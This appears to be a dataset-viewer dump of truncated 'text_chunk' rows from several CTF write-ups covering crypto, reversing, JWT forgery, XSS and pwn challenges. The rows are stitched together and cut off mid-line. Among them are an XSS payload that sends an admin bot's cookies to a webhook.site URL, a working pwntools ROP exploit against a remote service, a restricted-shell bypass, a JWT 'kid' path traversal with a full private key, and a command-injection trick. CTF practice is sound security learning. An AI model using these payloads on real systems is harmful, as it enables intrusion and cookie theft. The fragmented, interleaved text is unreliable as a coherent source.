text_chunk stringlengths 2 1.55k |
|---|
# Melek> ### Difficulty: Medium>> [Melek](https://cr.yp.toc.tf/tasks/melek_3d5767ca8e93c1a17bc853a4366472accb5e3c59.txz) is a secret sharing scheme that may be relatively straightforward to break - what are your thoughts on the best way to approach it?
## Solution```py#!/usr/bin/env sage
from Crypto.Util.number import ... |
- 1) * C[i] P = [list(range(nbit))] shuffle(P) P = P[:t] PT = [(a, f(a)) for a in [randint(1, p - 1) for _ in range(t)]] return e, p, PT
nbit = 512enc = encrypt(flag, nbit)print(f'enc = {enc}')```The `encrypt` function creates a degree $t$ polynomial with the constant term being the secret and $t$ shares. This is just ... |
\ p)$ where $y \equiv e^{-1}\ (mod\ p - 1)$. However such $y$ does not exist, as both $e$ and $p - 1$ are even (and therefore not coprime). Fortunately 2 is the only common factor of $e$ and $p - 1$, so we can calculate $m^2 \equiv c^{z}\ (mod\ p)$ where $z \equiv (\frac{e}{2})^{-1}\ (mod\ p - 1)$ and then calculate th... |
print(long_to_bytes(int(m)).decode())```
## Flag`CCTF{SSS_iZ_4n_3fF!ciEn7_5ecr3T_ShArIn9_alGorItHm!}` |
# Honey> ### Difficulty: Medium>> [Honey](https://cr.yp.toc.tf/tasks/honey_fadbdf04ae322e5a147ef6d10a0fe9bd35d7c5db.txz) is a concealed cryptographic algorithm designed to provide secure encryption for sensitive messages.
## Initial analysis```py#!/usr/bin/env python3
from Crypto.Util.number import *from math import sq... |
(sqrt(p.bit_length() << 1)) C = [] for _ in range(d): r, s = [getRandomNBitInteger(d) for _ in '01'] c = Q[_] * m + r * R[_] + s * S[_] C.append(c % p) return C
nbit = 512params = gen_params(512)m = bytes_to_long(flag)C = encrypt(m, params)f = open('params_enc.txt', 'w')f.write(f'p = {params[0]}\n')f.write(f'Q = {pa... |
is a 512-bit prime, $C_i$, $Q_i$, $R_i$ and $S_i$ are known (the latter 3 are also known to be 512-bit), $m$ is the flag and $r_i$ and $s_i$ are 32-bit and unknown. This is an instance of the hidden number problem with 2 holes. A method to reduce this problem to an instance of hidden number problem or extended hidden n... |
$r_i$ and $s_i$. Additionally, $\mu_1 = \mu_2 = 32$ and $B_{min} = p^{\frac{1}{2}}2^\frac{32 - 32}{2} = \sqrt{p}$.
First step is to calculate $\lambda_{i, B_{min}}$. For that, lemma 16 from [[^2]] can be used. $A$ is defined in theorem 3 of [[^1]] as $R_i^{-1}S_i$ and $B$ is $B_{min}$. The following SageMath code will ... |
values of $\alpha''_i$ and $\beta''_i$ using formulas from theorem 3 of [[^1]] and store them in 2 lists for later use.
## Solving HNPNow we can use definition 4.10 from [[^3]] to solve the hidden number problem. We'll use Kannan's embedding method. The numbers $a_i$ from this definition correspond to our $\beta''_i$, ... |
ytic Applications. In: Biham, E., Youssef, A.M. (eds) Selected Areas in Cryptography. SAC 2006. Lecture Notes in Computer Science, vol 4356. Springer, Berlin, Heidelberg. https://doi.org/10.1007/978-3-540-74462-7_9[^2]: Nguyen, Shparlinski The Insecurity of the Digital Signature Algorithm with Partially Known Nonces . ... |
# nloads
ChatGPT: "Why did the application break up with the dynamic library? Because every time they got close, it changed its address!"
Don't break up. Get the flag. There is only one flag.
nloads provides us with 13613 folders of binaries, each folder contains a `./beatme` binary that takes 8 bytes of input.... |
chain have some sort of simple mathematical operation done on two 32 bit integer arguments.
For the `0` folder the path of loaded objects and their code looks like this:
```./nloads/output/0/beatme├── ./hESMAGmJLcobKdDM.so | vpUjPultKryajeRF | dlopen│ └── ./fXIojFVxtoKLAQkl.so | cYUjXnCTKSsoWuTc | dlopen│ └── .... |
xJFfoibe | dlopen - fopen("/etc/passwd")│ └── ./gZqXyItfVsTnykLE.so | RZKYSMmIiDZRwEUo | clock_gettime├── ./YZAEtozBANntDssV.so | BsuVOixRHktNdzov | dlopen - fopen("/etc/passwd")│ └── ./giECPkQyMzTUivnO.so | dkCJxnpfHJkjQOXs | dlopen - fopen("/bin/cat")│ └── ./LbBISXFSnbuzCqLA.so | JhbxjMZkFnGqzKGo | ... |
| dlopen - fopen("/tmp//etcoypYMnEdeE")│ └── ./VexOOKcjwUCANWfb.so | MhiCbmiDRGeevfGO | dlopen - fopen("/bin/cat")│ └── ./INaRqvvzUowYHXvy.so | ZJjXnFqRtjlYvBMB | dlopen│ └── ./fYDIVIPIuHskBvRY.so | GmTLZFPmQdhOVGtQ | ADD├── ./AOinIPkXvMtrtbha.so | pnstlKQzXnehUbWP | dlopen│ └── ./WDhDHu... |
└── ./NeBYfDnofuzcfcOa.so | uqoOmnnLydHceoaY | dlopen│ └── ./AmiOWZLBXmVOGVXC.so | ZREWkEkEJCljQjvN | ADD├── ./qtgdwCpVabuYgJeB.so | WauZUfHZMyZrGIRm | dlopen - fopen("/bin/cat")│ └── ./vwhDqObLEawhHzbG.so | CMSpCHdOrDvZYIEI | dlopen│ └── ./WxpDsAgcpVmEBIjR.so | hQTzWnhthFHlfCJR | dlopen│ └── ... |
BUyIcsAleOQv.so | CndYDHCucWiGGHUM | dlopen - fopen("/tmp//etckFbnJjRnlz")│ └── ./FDQnKbBRxLwoBlIC.so | ELvmvTCBVmvsrFSn | dlopen - fopen("/tmp//usrKcNrWpYxaF")│ └── ./VaQnStigqoUcueNM.so | JyEUFKjxJWxwnbGD | dlopen│ └── ./IMXDndASCwPZnwOi.so | AtwBjsyfzbJaxqPK | dlopen│ └── ./XySmDZCRsD... |
udGJZvVCYuVCghJ | dlopen - fopen("/bin/cat")│ └── ./HHihKcFlkVOCyUoL.so | PmNOoCHGFJERNWlY | dlopen - fopen("/etc/passwd")│ └── ./cbbPXuHeBYqzplll.so | fBTPLOVODtulwcIt | SUB├── ./UvwLhcZXVYyFTrOJ.so | KLKwJYfZKPkXRFvN | dlopen│ └── ./eKreUawgmdxBusSk.so | uSoOkCwSububLxRP | dlopen - fopen("/tmp//etcN... |
gFobsxgiYiTQG | dlopen - fopen("/bin/sh")│ └── ./UmhuSlDMokkmZlNQ.so | NHDgVTdZhKyQIGoi | SUB├── ./JmMUtAorIujHtIbX.so | sCwDlfEOldeMrKhy | dlopen - fopen("/bin/cat")│ └── ./UHoVMGHkrluvZRXp.so | jhyMUEjwBHUJIKNP | dlopen - fopen("/bin/sh")│ └── ./hVrxgzMLDlzslgIr.so | NzSKCTuUaHnyBQyg | SUB├── ./... |
xdbVfDmvIwFC.so | EvnUyQofXwDSGpZB | XOR├── ./JyIolYzAMfpUSEKT.so | ulyILNvejqqyPsZg | dlopen - fopen("/tmp//etcvBwSjsGsTB")│ └── ./gFyyIhMdoWtMTvfJ.so | dlKZgUCkhJHTtEup | KEY SHUFFLE├── ./iRncDoXjGXNizFTC.so | CtVaDQBnebZIKTzI | KEY SHUFFLE├── ./WOIyABNGeMkgJjhG.so | RIfpDnyUTxPAZYbm | dlopen - fopen("/tmp//usreQCC... |
NxbvSyNIjywCBl.so | woyRTGrXkqhZsZZv | dlopen│ └── ./GnMlHrWdlQtLfHhw.so | ahWQzTEVccWdtIPX | KEY SHUFFLE└── ./YQMdeAtASVBKahuB.so | EaaEllDnCAVVihsj | dlopen - fopen("/etc/passwd") └── ./UEPOVenSIxiDOhPf.so | SRUckolcFjIykxbU | dlopen - fopen("/tmp//usrQDtJEyexaa") └── ./tjviHHXLiGhjmuhw.so | GzXoC... |
└── ./xkVCBzrNnSsCwPno.so | gvHfpcEhaPRWdkhX | KEY SHUFFLE```
Notable here:
- `fopen` calls to existing files (`/bin/sh`, `/etc/passwd`) which the functions verify exist or exit- `fopen` calls to non-existing files (`/tmp/<something`) which the functions verify do not exist or exit- `clock_gettime` calls... |
we get a `:)` output, `:(` otherwise.
The `encrypt` function here is the most interesting part as it is obfuscated with the function pointers we resolved at the start of `main`.
To start with we wrote angr code to generically solve this by inverting `encrypt` for each `beatme` binary individually ... |
input` with the `key` run through the `key scrambling functions` to get the correct input.To do this we need to extract these values from the sub-challenges/folders.
Instead of extracting the `key` and `key scrambling functions` separately we chose to just get the `scrambled key` that is actually used in the TEA encryp... |
calls is our count)- Extract `iteration count` if it wasn't inlined from a `mov ebx, <amount>` instruction just before the `encrypt` loop- Get the hardcoded `encrypted input` from the only comparison in `main`- Find the start of the TEA loop in the `encrypt` function and use angr to explore up to here to extract the s... |
5) + k[3]))&0xffffffff a = (a - ((b << 4) + k[0] ^ b + sum ^ (b >> 5) + k[1]))&0xffffffff sum = (sum - delta)&0xffffffff
return [a, b]
def verify_binary(num_path, inp): proc = subprocess.Popen("./beatme", cwd=num_path, stdin=subprocess.PIPE, stdout=subprocess.PIPE) stdout, stderr = proc.communic... |
r.SimProcedure): def run(self, name, thing): name = self.state.mem[name.to_claripy()].string.concrete name = name.decode('utf-8')
# Some wrappers try to open random files in /tmp/ # and expects them to fail if "tmp" in name: return 0 ... |
proj = angr.Project(num_path+"/beatme", auto_load_libs=False, load_options=load_options, main_opts = {'base_addr': 0x400000, 'force_rebase': True})
# Replacing those for quick resolving of dlsym calls proj.hook_symbol('dlopen', Dlopen()) proj.hook_symbol('dlsym', DlsymHook()) # Replacements for "anti... |
node(proj.entry) main_addr = entry_node.successors[0].successors[0].addr main_f = cfg.kb.functions[main_addr]
encrypt_function = None encrypt_callsite = None encrypt_function_calls = 0 breakpoint_address = None
# Get all call sites within main for x in main_f.get_call_sites(): fun = cf... |
for it if breakpoint_address == None: srcHighest = 0 # the breakpoint should be at the start of the encrypt loop to extract the unscrambled key # we can get there from the transition graph by getting the destination of the last jump backwards (which happens at the... |
j_end+1:].replace("h", ""), 16) # If no mov ebx, <amount> have been found in the first call bb then it is inlined if loop_count == None: # The loop got inlined and the amount of calls to encrypt are the amount of iterations loop_count = encrypt_function_calls assert loop_count != None
encry... |
encrypted_compare_constant != None # Initialize angr bytes_list = [claripy.BVS('flag_%d' % i, 8) for i in range(8)] flag = claripy.Concat(*bytes_list) st = proj.factory.entry_state(stdin=flag) st.options.ZERO_FILL_UNCONSTRAINED_MEMORY = True sm = proj.factory.simulation_manager(st)
# At the break... |
= (encrypted_compare_constant>>32)&0xffffffff # Decrypt the expected input for i in range(loop_count): a,b = tea_decrypt(a, b, [k0, k1, k2, k3]) # Convert it to a byte string decrypted_input = bytes([a&0xff, (a>>8)&0xff, (a>>16)&0xff, (a>>24)&0xff, b&0xff, (b>>8)&0xff, (b>>16)&0xff, (b>>24)&0xff]) ... |
./nloads/output/"+str(nr)) return (nr, decrypted_input, confirmed_working, k0, k1, k2, k3, encrypted_compare_constant, loop_count)
# This takes about 3 hours on 16 coresnprocesses = 16
start = 0end = 13612
if __name__ == '__main__': with multiprocessing.Pool(processes=nprocesses) as p: result = list(tqdm.... |
output binary = b'' for entry in result: binary += bytes.fromhex(entry[1]) file = open("output.jpg", "wb") file.write(binary) file.close() print("Done writing JPG..")```
Running this with multiple processes (which takes multiple hours, during the competitions we use... |
__Original writeup:__ <https://github.com/kyos-public/ctf-writeups/blob/main/insomnihack-2024/Pedersen.md>
# The Challenge
The goal was to find a collision in the Pedersen hash function (i.e., find distinct inputs that yield the same output).
We had access to a running version of the code (a hashing oracle), as indicat... |
;use std::thread::sleep;
mod private;
const SHIFT_POINT: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_params::SHIFT_POINT);const PEDERSEN_P0: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_params::PEDERSEN_P0);const PEDERSEN_P2: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_par... |
e hash of two field elements let x = x.to_bits_le(); let y = y.to_bits_le();
let mut acc = SHIFT_POINT;
acc.add_assign(&const_p0.mul(&x[..248])); acc.add_assign(&const_p1.mul(&x[248..252])); acc.add_assign(&const_p2.mul(&y[..248])); acc.add_assign(&const_p3.mul(&y[248..252])); // Convert to a... |
::exit(1) }); in_number}
fn main() { println!("Welcome in the Large Pedersen Collider\n"); sleep(Duration::from_millis(500)); println!("Enter the first number to hash:"); let a1 = get_number(); println!("Enter the second number to hash:"); let b1 = get_number(); let h1 = perdersen_hash(&a1, &... |
FLAG); }}```
So we can almost run the code locally, but the `private` module is missing. Looking at the rest of the code, we can infer that the private module contains the flag and two mysterious constants: `C1` and `C2`, which we can initialize arbitrarily for now:
```Rustmod private { pub const FLAG: &str = "IN... |
en_hash(&a1, &b1) == perdersen_hash(&a2, &b2)`.
A first important observation here is that `b1` can be equal to `b2`, as long as `a1` is different from `a2`.
# The Theory
There are two non-standard imports: `starknet_curve` and `starknet_ff`, which are both part of the `starknet-rs` library: <https://github.com/xJonath... |
b_\textit{low} \cdot P_2 + b_\textit{high} \cdot P_3]_x $$
where
- $a_\textit{low}$ is the 248 low bits of $a$ (same for $b$);- $a_\textit{high}$ is the 4 high bits of $a$ (same for $b$);- $[P]_x$ denotes the $x$ coordinate of an elliptic-curve point $P$;- $S$, $P_0$, $P_1$, $P_2$, $P_3$, are constant points on the ell... |
+ b_\textit{high} \cdot C_2) \cdot P2]_x $$
Since we've established that we can keep $b$ constant, let's find a pair $a$ and $a'$ such that
$$ a_\textit{low} + a_\textit{high} \cdot C_1 = a_\textit{low}' + a_\textit{high}' \cdot C_1 $$
Given the linear nature of these equations, there is a range of solutions. If $a_\te... |
2`. Since they are just 16 bits long, let's bruteforce them! Or at least one of them... As we don't need different values for `b1` and `b2`, we can leave them at 0 and thus `C2` is not needed. You could bruteforce `C1` with a piece of code that looks like this:
```Rust// Try all possible values of c1for i in 0..(1 << 1... |
OINT;
acc.add_assign(&const_p0.mul(&x[..248])); acc.add_assign(&const_p1.mul(&x[248..252])); acc.add_assign(&const_p2.mul(&y[..248])); acc.add_assign(&const_p3.mul(&y[248..252]));
let result = AffinePoint::from(&acc;;
// Check if the result is the expected hash if result.x == FieldElement::from_... |
j] as u16) << j; } println!("Bruteforce successful, c1 = {}", c1_dec); break; }}```
For this to work, we need to query the hashing oracle with $a_\textit{high} \ne 0$ (otherwise `C1` does not play any role in the computation of the final result) and $b_\textit{high} = 0$. For example, we could s... |
5498654828033707313899675$.
We then find by bruteforce that $C_1 = 24103$.
# The Solution
Now that we have everything we need, the final solution is:
```Enter the first number to hash: 452312848583266388373324160190187140051835877600158453279131187530910662656Enter the second number to hash: 0Hash is: 34767859855504890... |
number to hash: 0Hash is: 3476785985550489048013103508376451426135678067229015498654828033707313899675```
This works because we start with $a_\textit{low} = 0$ and $a_\textit{high} = 1$ (i.e., $2^{248}$), and then we increase $a_\textit{low}$ by $C_1$ and decrease $a_\textit{high}$ by $1$ to obtain 24103.
Submitting su... |
from memory and a partial note.
The web page contained a SQL injection.
There was a condition to pass in order to go into the get results.
if username != 'admin' or password[:5] != 'admin' or password[-5:] != 'admin': ...exit() This required username to be "admin"And it required that the password starts with admin [:5]... |
We can see a shell ```$ cat with | vim/bin/bash: line 1: vim: command not found```And apparently the shell is stuck in a mode, where each command is prefixed by a 'cat' command of some file, which is piped to the command we are entering. For example, the command 'more' will result in the piped text to be printed on the... |
to be executable too```$ cat with | lsflag.txtrunwith```Some characters seem to be disallowed
```$ cat with | -disallowed: -$ cat with | ;disallowed: ;$ cat with | flagdisallowed: flag
Also disallowed are ", ', $, \, -, & and flag```We might be able to circumvent the forbidden 'flag' keyword with some command line tool... |
We are thrown into a shell that adds the prefix 'wa' to each command line parameter.
``` _ _ __ __ __ __ _ | |__ __ _ ___ | |_ \ V V // _` | | '_ \ / _` | (_-< | ' \ \_/\_/ \__,_| |_.__/ \__,_| /__/_ |_||_| _|"""""|_|"""""|_|"""""|_|"""""|_|""... |
wiki/Input_Field_Separators)" variable IFS to print our flag.txt content.```$ it&&cat${IFS}/flag.txtbctf{wabash:_command_not_found521065b339eb59a71c06a0dec824cd55} |
Decompiled:
```C#include "out.h"
int _init(EVP_PKEY_CTX *ctx)
{ int iVar1; iVar1 = __gmon_start__(); return iVar1;}
void FUN_00101020(void)
{ // WARNING: Treating indirect jump as call (*(code *)(undefined *)0x0)(); return;}
void FUN_00101050(void)
{ __cxa_finalize(); return;}
void __stack_ch... |
start_main(main,param_2,&stack0x00000008,0,0,param_1,auStack_8); do { // WARNING: Do nothing block with infinite loop } while( true );}
// WARNING: Removing unreachable block (ram,0x001010c3)// WARNING: Removing unreachable block (ram,0x001010cf)
void deregister_tm_clones(void)
{ return;}
// WARNI... |
_0 = 1; return;}
void frame_dummy(void)
{ register_tm_clones(); return;}
long super_optimized_calculation(int param_1)
{ long lVar1; long lVar2; if (param_1 == 0) { lVar1 = 0; } else if (param_1 == 1) { lVar1 = 1; } else { lVar2 = super_optimized_calculation(param_1 + -1); lVar1 = super_optimized... |
local_78[1] = 0x8f; local_78[2] = 0x425; local_78[3] = 0x36d; local_78[4] = 0x1c1928b; local_78[5] = 0xe5; local_78[6] = 0x70; local_78[7] = 0x151; local_78[8] = 0x425; local_78[9] = 0x2f; local_78[10] = 0x739f; local_78[11] = 0x91; local_78[12] = 0x7f; local_78[13] = 0x42517; local_78[14] = 0x7f; local_... |
0xc1; local_78[17] = 0xbf; local_78[18] = 0x151; local_78[19] = 0x425; local_78[20] = 0xc1; local_78[21] = 0x161; local_78[22] = 0x10d; local_78[23] = 0x1e7; local_78[24] = 0xf5; uVar1 = super_optimized_calculation(0x5a); for (local_84 = 0; local_84 < 0x19; local_84 = local_84 + 1) { putc((int)(uVar1 % (ul... |
// WARNING: Subroutine does not return __stack_chk_fail(); } return 0;}
void _fini(void)
{ return;}
```
The saved bytes in local_78 form the bytestring: ```0x8bf70x8f0x4250x36d0x1c1928b0xe50x700x1510x4250x2f0x739f0x910x7f0x425170x7f0x1610xc10xbf0x1510x4250xc10x1610x10d0x1e70xf5```
The core of the problem is ```uV... |
_84]),stdout); }```The hex value '0x5a' (90: int)
The super optimized calculation:```long super_optimized_calculation(int param_1)
{ long lVar1; long lVar2; if (param_1 == 0) { lVar1 = 0; } else if (param_1 == 1) { lVar1 = 1; } else { lVar2 = super_optimized_calculation(param_1 + -1); lVar1 = super... |
, soc(2), soc(3), soc(4)]def soc_opt(a): if a < len(cache): return cache[a] else: x = soc_opt(a-1) y = soc_opt(a-2) cache.append(x+y) return cache[a]```We can check that it works by comparing the results of a manageable initial value:```>>>print(soc(12))144>>>print(soc_opt(12))1... |
x7f0x425170x7f0x1610xc10xbf0x1510x4250xc10x1610x10d0x1e70xf5'flag = ''for x in b.split('0x'): if x: m = n % int(x, 16) flag = f"{flag}{chr(m)}"print(flag)```We get the flag:```bctf{what's_memoization?}``` |
Attachments: * imagehost.zip
In this zip file there is a python implementation of an imagehost web server.This implementation contains code for session handling via JSON Web Tokens:```pythonfrom pathlib import Path
import jwt
def encode(payload, public_key: Path, private_key: Path): key = private_key.read_bytes() retu... |
ZXkucGVtIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjozLCJhZG1pbiI6bnVsbH0.O46AMfAsFuXqRNkf00FrDYGQN1lqt7M3gAExp-RXv7C1Po4TUNnnnpb_DR8UrrBYIfn1kvXBxQzXr2EqJduh67fs3MRGaYXmSyLkQ26QBDfuF-L6A89e4g5Jf4qE3jirp210i1q2374vqVW9VeCoP7hfkLlPuSK5VDAm8BfDaSRF4odWH1klpT_fo03NsVpahg1H0sgak0lDvAssVXcbhZ-8KRo64QOcL8tKjZzbCsoll-rfxgyKdGRyL |
gVxBRw6Kay1ei_dG6j7mNGnQupNr8fy9IdCexEOABjAHoI640cujOl7z0g2SUB4tzG7txVbRm15jcysBvD_NVonvoE3VGUgbSg_V5lkj5ofLNWCh9jN7hlj6xEXql3QzsVWJQHgYm5dpEuoxizXdozqvi6AOKn6SR5BG1jHYs1XCnSW5XnqbO6OBfTdSTYas1lRJ-NCzsvJs3wYEbjHJp9CDMA9NCJJVDTZ7EkMyhrN7CJH8LHGU8ZrTkqKFKl3_bQeQWmgfI9URIatlLafnk8aw7YkOU4gkXJqZvtwpfaMYF8GgIujeVM7 |
I8c11jPF-k58OAM7lUOOpBsK_fW9JQQ9_VZqF6pJltKpwR3I-saRcyL3p6M-3CpwWI2FS4bqfkcQDj9wuqxEF45uP-wn3TyqAteV1wX_Ei7N5uVNQ8cHSFIigPI```This can be decoded via https://jwt.io/The header```{ "alg": "RS256", "kid": "public_key.pem", "typ": "JWT"}```The payload```{ "user_id": 3, "admin": null}```
We suspect that we can upload ... |
w0BAQEFAAOCAQ8AMIIBCgKCAQEAr79D8wfWGTEBR5z/hSI6W799WS+kCZoYw0UqooJQ5nzld1mGwgNW+yNyxHdDaBfxjFtetW6anDaissUpQqRljVRIvt3Mo85t4pgoRJEiUFQ6YtsLaUXax/ZMaYmhilf7IvlkEX9fn6bPlpBOqGFe4FhrEhyt38rOiBtAxWm0pcRyWHZ+LuCbmJu41+AGTzfNiGFWJSQ7yN0w5sASpdkNU+mdYez2CbyqrQdPRJtilLdFzggFYiVD8EfabsOTTKUkIi+Zgg8MRRvMm+xYIxex4Vawf8devya18NRoN... |
CdA753hpAcuDldzUEtPytuS+1946+KUdpPFWiKUgaMYQIDAQAB-----END PUBLIC KEY-----```
Private Key:```-----BEGIN PRIVATE KEY-----MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCvv0PzB9YZMQFHnP+FIjpbv31ZL6QJmhjDRSqiglDmfOV3WYbCA1b7I3LEd0NoF/GMW161bpqcNqKyxSlCpGWNVEi+3cyjzm3imChEkSJQVDpi2wtpRdrH9kxpiaGKV/si+WQRf1+fps+WkE6oYV7g... |
IYVYlJDvI3TDmwBKl2Q1T6Z1h7PYJvKqtB09Em2KUt0XOCAViJUPwR9puw5NMpSQiL5mCDwxFG8yb7FgjF7HhVrB/x16/JrXw1Gg35ohqEJ0DvneGkBy4OV3NQS0/K25L7X3jr4pR2k8VaIpSBoxhAgMBAAECggEAAvgAFsgTSzkFQpN9yz7gFZ5NKLNV4fnj+NH3ebfp9A/IbEkDTk4SQ0MmuFgDp+uuH1LojVfrRY/kdRDArP0UEFRr92ntn9eACpGrjfd16P2YQCTfOym0e7fe0/JQy9KHRfCoqqVAPTUbGP |
nyczSUXsWtlthsTT1Kuni74g3SYPGypQuO9j2ICP8N9AeNh2yGHf3r2i5uKwOCyErniwzzBHJPBcMHfYD3d8IOTgUTmFLgesBAzTEwLmAy8vA0zSwGfFaHMa0OhjZrc+4f7BUU1ajD9m7Uskbs6PMSjqLZYzPGctCkIeyaLIc+dPU+3Cumf5EkzcT0qYrX5bsadGIAUQKBgQD3IDle2DcqUCDRzfQ0HJGoxjBoUxX2ai5qZ/2D1IGAdtTnFyw73IZvHzN9mg7g5TZNXSFlHCK4ZS2hXXpylePML7t/2ZUovEwwDx4KbenwZLAzLYTNpI... |
2H53+ySpEtsA6yfq7TP+PWa2xUnLCZqnwZcwrQd/0equ58OLJ0QKBgQC2Dt8il/I0rTzebzfuApibPOKlY5JyTTnUBmJIh8eZuL5obwRdf53OljgMU5XyTy7swzot4Pz7MJlCTMe/+0HvjuaABcDgmJd/N4gcuR+chOiYw7Bc2NSyGodq2WR/f/BiMcXBAbqEALbXAQy9mkCH4xePTdEA3EPYXml3SDCtkQKBgGv67JaAqzoV4QFLmJTcltjEIIq1IzeUlctwvNlJlXxocAa5nV5asXMEkx8inbWu8ddEBj+D17fyncmQatx+mhayFJ |
98lyxBepjVQi8Ub8/WbxctoIWqjhRh4IPStNqLU6jKoZwOfTwyHMiqSrbca8B902tzT47nLdBJeZe5pZ7BAoGAHIBvhmbrUDvez6PxyZ02bvc1NFdGUgatCviE4n3/TZ2SkZ7vvAOCnRj/ZU6gpvKmkgJuVUhn0ptlIvAKRY/8XpislVZRP9gjv5LeCEEjJcnY8DGSprZ7dfaZRK0MArnw1C6emvy+SnQiK77KU9SWTa/LvG+eTNgu9uyw7i+rD0ECgYBKphKWj9ru+Q0Bp5IHCBn5PXhCuCzaHdWhka8tl44LjBSLLect2PA9oFi |
KEUA8HSnYylAnZ1LCca7uTrK9jJlLmetr5MaO3e9xDzlq4CcEo3+7KyVhDTylzM7pfx3QjcSrwtZYiNTRU+1pEPfIqXv5I8STSTbbJXCTwQ9LY2TXvw==-----END PRIVATE KEY-----```
The modified header:```{ "alg": "RS256", "kid": "/a/our_own_public_key.pem", "typ": "JWT"}```
The modified session payload```{ "user_id": 1, "admin": null}```We can crea... |
OiJSUzI1NiIsImtpZCI6Ii4uLy4uL3B1YmxpY19rZXkucGVtIn0.eyJ1c2VyX2lkIjoxLCJhZG1pbiI6dHJ1ZX0.oGlGsmuASM6q4oxmhMVXVscY0xZyBnex8W5VuKPBWlporlGgrn9LdoHqi4aLel6P1VxRvCDptRX9_tmNQzcUSTl3fLkPkrIUAFb-Wf0ZHpIsQ6j2_kmTEZMoenr72B6G9MUg4Z_qh1Y8JM5DtTENWpC1pM_KfKGJorfT_6wgseaBxvm7PDDQyuPAVD4gAY0PUR2_VJH3M4h94e0c2Gc2sIh |
-ZjbRyDnhVN9qaM0z54gNbHklEIPlrHt2PxoxC3yowbR9aFV0kdy9fk54EtFIpOKVGj84Bs3Q3rXnILvLr1KEryiw4wyqSJ2cSkeiuAikXCpd-_SGsw_DU1Xdng6FsA'```We created + uploaded postscript 1x1p image with public key attached```%!PS-Adobe-3.0 EPSF-3.0%%Creator: GIMP PostScript file plug-in V 1,17 by Peter Kirchgessner%%Title: evil.eps%%Creation... |
%%Page: 1 1% Translate for offset14.173228346456694 14.173228346456694 translate% Translate to begin of first scanline0 0.24000000000000002 translate0.24000000000000002 -0.24000000000000002 scale% Image geometry1 1 8% Transformation matrix[ 1 0 0 1 0 0 ]% Strings to hold RGB-samples per scanline/rstr 1 string def/gstr ... |
2 ASCII Bytescolorimage!<7Q~>!<7Q~>!<7Q~>%%EndDatashowpage%%Trailerend%%EOF
-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr79D8wfWGTEBR5z/hSI6W799WS+kCZoYw0UqooJQ5nzld1mGwgNW+yNyxHdDaBfxjFtetW6anDaissUpQqRljVRIvt3Mo85t4pgoRJEiUFQ6YtsLaUXax/ZMaYmhilf7IvlkEX9fn6bPlpBOqGFe4FhrEhyt38rOiBtAxWm0pcRyWH... |
byqrQdPRJtilLdFzggFYiVD8EfabsOTTKUkIi+Zgg8MRRvMm+xYIxex4Vawf8devya18NRoN+aIahCdA753hpAcuDldzUEtPytuS+1946+KUdpPFWiKUgaMYQIDAQAB-----END PUBLIC KEY-----
```We can exploit a path traversal vulnerability using "/app/../uploads" (must start with /app)We then change the jwt header path to the given upload path and can login... |
Attachments: * dist.zip
The dist.zip contains an index.js file with the following code:```javascriptconst express = require('express')const puppeteer = require('puppeteer');const cookieParser = require("cookie-parser");const rateLimit = require('express-rate-limit');require('dotenv').config();
const app = express()con... |
use(cookieParser());app.set('views', __dirname + '/views');app.use(express.static("./public"));app.engine('html', require('ejs').renderFile);app.set('view engine', 'ejs');
function sleep(s){ return new Promise((resolve)=>setTimeout(resolve, s))}
app.get('/', (req, res) => { res.render('index.html');})
app.get('/admin... |
-gpu', '--no-gpu', '--disable-default-apps', '--disable-translate', '--disable-device-discovery-notifications', '--disable-software-rasterizer', '--disable-xss-auditor' ], ignoreHTTPSErrors: true }); const browser = await initBrowser; const context = aw... |
.error(e); await context.close(); res.redirect('/') }})
app.listen(port, () => { console.log(`Purdue winning on port ${port}`)})```
The app.post('/review', limiter, async (req, res) function is a Node.js server-side endpoint that uses Puppeteer to interact with a (server side) web browser programmatically.... |
script run successfully to call our webhook using URL encoding (' = %27) for the replaced chars:```html<script> function setUrl() { e = document.getElementById(%27asd%27); e.src = %27%27.concat(%27https://webhook.site/99853521-2093-4f3e-8f5a-8310bf862879?cookies=%27,%27asdf2%27); }</script>```Now we just need to ext... |
URL parameter:```bctf{wow_you_can_get_a_free_ad_now!}``` |
> https://uz56764.tistory.com/124
```pyfrom pwn import *import struct
context.arch = "amd64"
nan = struct.unpack("Q", struct.pack("d", float('nan')))[0]
#r = process("dotcom_market")r = remote("dotcom.shellweplayaga.me", 10001 )
r.sendlineafter(b"Ticket please:", b"ticket{here_is_your_ticket}")
r.sendlineafter(b"Enter ... |
"{len(s)}|{s}"r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"66")r.sendlineafter(b">", b"1")
r.sendlineafter(b">", b"0")s = f"0|{nan}|0|0|0|" + "A" * 0x400s = f"{len(s)}|{s}"r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"1")r.recvuntil(b"r ... |
000002a3e5pop_rsi = libc_base + 0x000000000002be51pop_rdx_rbx = libc_base + 0x00000000000904a9write = libc_base + 0x0114870read = libc_base + 0x01147d0
print(f'libc_base = {hex(libc_base)}')
r.sendlineafter(b">", b"1")r.sendlineafter(b">", b"0")
raw_input()pay = b'1280|'pay += b'(): Asse' + b'A'*0x30pay += p64(0x401565... |
p64(pop_rsi)pay += p64(libc_base+0x21c000)pay += p64(pop_rdx_rbx)pay += p64(0x100)pay += p64(0x0)pay += p64(read)
pay += p64(pop_rdi)pay += p64(0x1)pay += p64(pop_rsi)pay += p64(libc_base+0x21c000)pay += p64(pop_rdx_rbx)pay += p64(0x100)pay += p64(0x0)pay += p64(write)pay += p64(0xdeadbeef)
r.sendline(pay)
r.interactiv... |
1. decompile the challenge binary file, easy to understand, nothing to say
1. In file backdoor.py found that:
```ctxt = (pow(g, int.from_bytes(ptxt, 'big'), n_sq) * pow(r, n, n_sq)) % n_sq```
because of :
```ctxt == (g ^ ptxt) * (r ^ n) mod n_sq=> ctxt^a == ((g ^ ptxt) * (r ^ n))^a mod n_sq=> ctxt^a == (g ... |
So we need to find a payload instead of 'ls', and the payload : int(palyload) == int('ls') * n
because of:
```def run(msg: dict): ptxt = dec(msg['hash'], msg['ctxt']) subprocess.run(ptxt.split())```
we use the follow script to find out payload and n:
```from Crypto.Util.number import long_to_bytes, bytes_to_l... |
